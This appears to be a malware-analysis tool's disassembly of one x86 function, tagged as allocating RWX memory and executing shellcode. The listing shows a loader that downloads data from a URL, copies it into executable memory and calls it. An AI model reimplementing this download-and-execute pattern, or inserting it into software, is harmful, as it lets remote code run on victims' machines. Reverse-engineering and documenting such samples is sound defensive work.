Function at 0x401a80
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4398b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x12c
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x10], esp
push esi
push esi
push esi
push esi
push 1
push str.lpload
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x15], 0
call fcn.00430320
push esi
lea eax, [ebp - 0x14]
push 4
mov edi, 0x7d0
push eax
push 2
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], esi
mov dword [ebp - 0x14], edi
call fcn.004305d0
push esi
lea ecx, [ebp - 0x14]
push 4
push ecx
push 5
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.004305d0
push esi
lea edx, [ebp - 0x14]
push 4
push edx
push 6
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.004305d0
push esi
lea eax, [ebp - 0x14]
push 4
push eax
push 7
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.004305d0
push esi
lea ecx, [ebp - 0x14]
push 4
push ecx
push 8
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], edi
call fcn.004305d0
mov edx, dword [ebp + 8]
push esi
push esi
push 0x84000002
push 1
push edx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x14], esi
mov byte [ebp - 4], 1
call fcn.0043041b
mov edi, eax
lea eax, [ebp - 0x34]
push eax
mov ecx, edi
mov dword [ebp - 0x1c], edi
call fcn.00430e82
cmp dword [ebp - 0x34], 0xc8
jne 0x401c7e
lea ecx, [ebp + 8]
push esi
push ecx
push 5
mov ecx, edi
mov dword [ebp + 8], esi
call fcn.00430e5b
mov eax, dword [ebp + 8]
cmp eax, esi
jbe 0x401c7e
add eax, 8
push eax
call fcn.0040a86b
mov ebx, eax
add esp, 4
cmp ebx, esi
mov dword [ebp - 0x14], ebx
jne 0x401bcb
push 0x10
push str.Error
push str.Failed_to_allocate_memory.
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004302db
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp + 8]
xor eax, eax
mov edi, ebx
lea ecx, [edx + 8]
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp + 8]
cmp esi, eax
jae 0x401c1b
sub eax, esi
cmp eax, 0x800
jb 0x401bf8
mov eax, 0x800
mov ecx, dword [ebp - 0x1c]
push eax
lea eax, [esi + ebx]
mov edx, dword [ecx]
push eax
call dword [edx + 0x34]
test eax, eax
jg 0x401c17
push 0x10
push str.Error
push str.Failed_to_read_data_from_URL.
jmp 0x401c3b
add esi, eax
jmp 0x401be3
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x401c51
push 0x10
push str.Error
push str.Failed_to_allocate_executable_memory.
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push ebx
call fcn.0040a782
add esp, 4
jmp 0x401ba9
mov ecx, dword [ebp + 8]
mov esi, ebx
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call eax
test ebx, ebx
mov byte [ebp - 0x15], 1
je 0x401c79
push ebx
call fcn.0040a782
add esp, 4
mov edi, dword [ebp - 0x1c]
xor esi, esi
cmp edi, esi
je 0x401c92
mov eax, dword [edi]
mov ecx, edi
call dword [eax + 0x4c]
mov edx, dword [edi]
push 1
mov ecx, edi
call dword [edx + 4]
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], 0xffffffff
call fcn.004302db
mov ecx, dword [ebp - 0xc]
mov al, byte [ebp - 0x15]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret